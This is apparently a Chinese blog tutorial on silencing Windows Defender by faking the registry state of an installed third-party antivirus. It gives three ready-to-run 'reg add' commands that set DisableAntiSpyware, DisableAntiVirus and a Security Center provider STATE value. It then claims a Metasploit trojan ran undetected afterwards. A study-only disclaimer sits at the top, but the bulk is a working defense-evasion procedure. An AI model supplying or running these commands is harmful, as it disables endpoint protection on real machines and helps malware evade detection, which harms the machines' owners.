花式沉默Defender

编者注：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。

前言

总结了一下现在还能用的关闭Defender的方法，部分是原创，一部分借鉴的大佬。觉得字多的同学可以直接跳过思路查看步骤进行实操。

修改注册表关闭Defender

1.测试环境

windows10 20H2

windows10 21H2

windows11

2.思路

微软为了提供用户更妥善的安全保护，在2020年8月更新中更新了支持文档。若用户安装了其他杀毒软件，Defender将自动关闭；若用户卸载杀毒软件解决方案，Defender将强制自动开启。那我们可不可以模拟杀毒软件的行为，让Defender误以为我们安装了杀软，从而达到关闭Defender的目的呢？答案是可以的。

将系统注册表备份，安装杀毒软件后再次提取注册表信息并进行对比。最后将疑似影响Defender运行的键值进行改动对比，最终得出几个键值的排列组合可以达到沉默Defender的作用。

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender下，DisableAntiSpyware的值改为1，DisableAntiVirus的值改为1。

默认情况下并无这两个键值。

更改后：

HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}下，STATE改为 0x00060100。

3.步骤

管理员模式打开命令行，执行：

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t reg_dword /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}" /v STATE /t reg_dword /d "0x00060100" /f
4.成果

4.成果

修改完后重启，Defender仍然运行，但杀毒引擎已失效。

这里随意丢上一个msf的木马，成功绕过检测。